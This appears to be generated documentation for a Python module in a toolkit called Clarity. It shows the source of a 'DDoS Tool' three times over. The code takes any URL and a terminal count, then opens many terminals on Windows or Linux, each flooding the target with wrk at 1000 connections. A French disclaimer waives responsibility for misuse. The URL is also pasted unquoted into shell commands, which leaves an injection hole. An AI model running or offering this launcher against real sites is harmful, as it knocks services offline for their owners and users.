clarity.tools.ddos

 1import subprocess
 2import platform
 3import os
 4import shutil
 5from clarity.core import ClarityTool, Colors, soft_input
 6
 7
 8class DDOS(ClarityTool):
 9    """Un outil de test de charge DDoS utilisant wrk."""
10
11    TITLE = "DDoS Tool"
12    DESCRIPTION = "Un outil pour effectuer des tests de charge DDoS sur une URL donnée.[Added via plugin, no auto install yet]"
13
14    def __init__(self):
15        super().__init__(options=[
16            ("Lancer DDoS", self.DDOS)
17        ], installable=False, runnable=True)
18
19    def DDOS(self):
20        print(f"{Colors.RED}Je ne suis pas responsable de ce que vous faites avec cette outils{Colors.RESET}")
21        nb_str = soft_input(f"{Colors.CYAN}Quelle est le nombre de terminal ouvert? (seulement le chiffre svp){Colors.RESET}")
22        try:
23            nb = int(nb_str)
24        except ValueError:
25            print(f"{Colors.RED}Veuillez entrer un nombre valide.{Colors.RESET}")
26            return
27        URL = soft_input(f"{Colors.BLUE}URL? (avec http.s): {Colors.RESET}")
28        cmd = f"wrk -t171 -c1000 -d40 {URL}"
29        systeme = platform.system()
30
31        for _ in range(nb):
32            if systeme == "Windows":
33                subprocess.Popen([
34                    "powershell", "-Command",
35                    f"Start-Process cmd -ArgumentList '/c wsl -- bash -c \"{cmd}; exec bash\"'"
36                ])
37            elif systeme == "Linux":
38                # Détection de terminal Linux
39                if shutil.which("gnome-terminal"):
40                    subprocess.Popen(["gnome-terminal", "--", "bash", "-c", f"{cmd}; exec bash"])
41                elif shutil.which("xfce4-terminal"):
42                    subprocess.Popen(["xfce4-terminal", "--command", f"bash -c '{cmd}; exec bash'"])
43                elif shutil.which("xterm"):
44                    subprocess.Popen(["xterm", "-e", f"{cmd}; bash"])
45                else:
46                    print("Aucun terminal compatible")
47            else:
48                print(f"Système non supporté : {systeme}")
class DDOS(clarity.core.ClarityTool):
 9class DDOS(ClarityTool):
10    """Un outil de test de charge DDoS utilisant wrk."""
11
12    TITLE = "DDoS Tool"
13    DESCRIPTION = "Un outil pour effectuer des tests de charge DDoS sur une URL donnée.[Added via plugin, no auto install yet]"
14
15    def __init__(self):
16        super().__init__(options=[
17            ("Lancer DDoS", self.DDOS)
18        ], installable=False, runnable=True)
19
20    def DDOS(self):
21        print(f"{Colors.RED}Je ne suis pas responsable de ce que vous faites avec cette outils{Colors.RESET}")
22        nb_str = soft_input(f"{Colors.CYAN}Quelle est le nombre de terminal ouvert? (seulement le chiffre svp){Colors.RESET}")
23        try:
24            nb = int(nb_str)
25        except ValueError:
26            print(f"{Colors.RED}Veuillez entrer un nombre valide.{Colors.RESET}")
27            return
28        URL = soft_input(f"{Colors.BLUE}URL? (avec http.s): {Colors.RESET}")
29        cmd = f"wrk -t171 -c1000 -d40 {URL}"
30        systeme = platform.system()
31
32        for _ in range(nb):
33            if systeme == "Windows":
34                subprocess.Popen([
35                    "powershell", "-Command",
36                    f"Start-Process cmd -ArgumentList '/c wsl -- bash -c \"{cmd}; exec bash\"'"
37                ])
38            elif systeme == "Linux":
39                # Détection de terminal Linux
40                if shutil.which("gnome-terminal"):
41                    subprocess.Popen(["gnome-terminal", "--", "bash", "-c", f"{cmd}; exec bash"])
42                elif shutil.which("xfce4-terminal"):
43                    subprocess.Popen(["xfce4-terminal", "--command", f"bash -c '{cmd}; exec bash'"])
44                elif shutil.which("xterm"):
45                    subprocess.Popen(["xterm", "-e", f"{cmd}; bash"])
46                else:
47                    print("Aucun terminal compatible")
48            else:
49                print(f"Système non supporté : {systeme}")

Un outil de test de charge DDoS utilisant wrk.

TITLE = 'DDoS Tool'
DESCRIPTION = 'Un outil pour effectuer des tests de charge DDoS sur une URL donnée.[Added via plugin, no auto install yet]'
def DDOS(self):
20    def DDOS(self):
21        print(f"{Colors.RED}Je ne suis pas responsable de ce que vous faites avec cette outils{Colors.RESET}")
22        nb_str = soft_input(f"{Colors.CYAN}Quelle est le nombre de terminal ouvert? (seulement le chiffre svp){Colors.RESET}")
23        try:
24            nb = int(nb_str)
25        except ValueError:
26            print(f"{Colors.RED}Veuillez entrer un nombre valide.{Colors.RESET}")
27            return
28        URL = soft_input(f"{Colors.BLUE}URL? (avec http.s): {Colors.RESET}")
29        cmd = f"wrk -t171 -c1000 -d40 {URL}"
30        systeme = platform.system()
31
32        for _ in range(nb):
33            if systeme == "Windows":
34                subprocess.Popen([
35                    "powershell", "-Command",
36                    f"Start-Process cmd -ArgumentList '/c wsl -- bash -c \"{cmd}; exec bash\"'"
37                ])
38            elif systeme == "Linux":
39                # Détection de terminal Linux
40                if shutil.which("gnome-terminal"):
41                    subprocess.Popen(["gnome-terminal", "--", "bash", "-c", f"{cmd}; exec bash"])
42                elif shutil.which("xfce4-terminal"):
43                    subprocess.Popen(["xfce4-terminal", "--command", f"bash -c '{cmd}; exec bash'"])
44                elif shutil.which("xterm"):
45                    subprocess.Popen(["xterm", "-e", f"{cmd}; bash"])
46                else:
47                    print("Aucun terminal compatible")
48            else:
49                print(f"Système non supporté : {systeme}")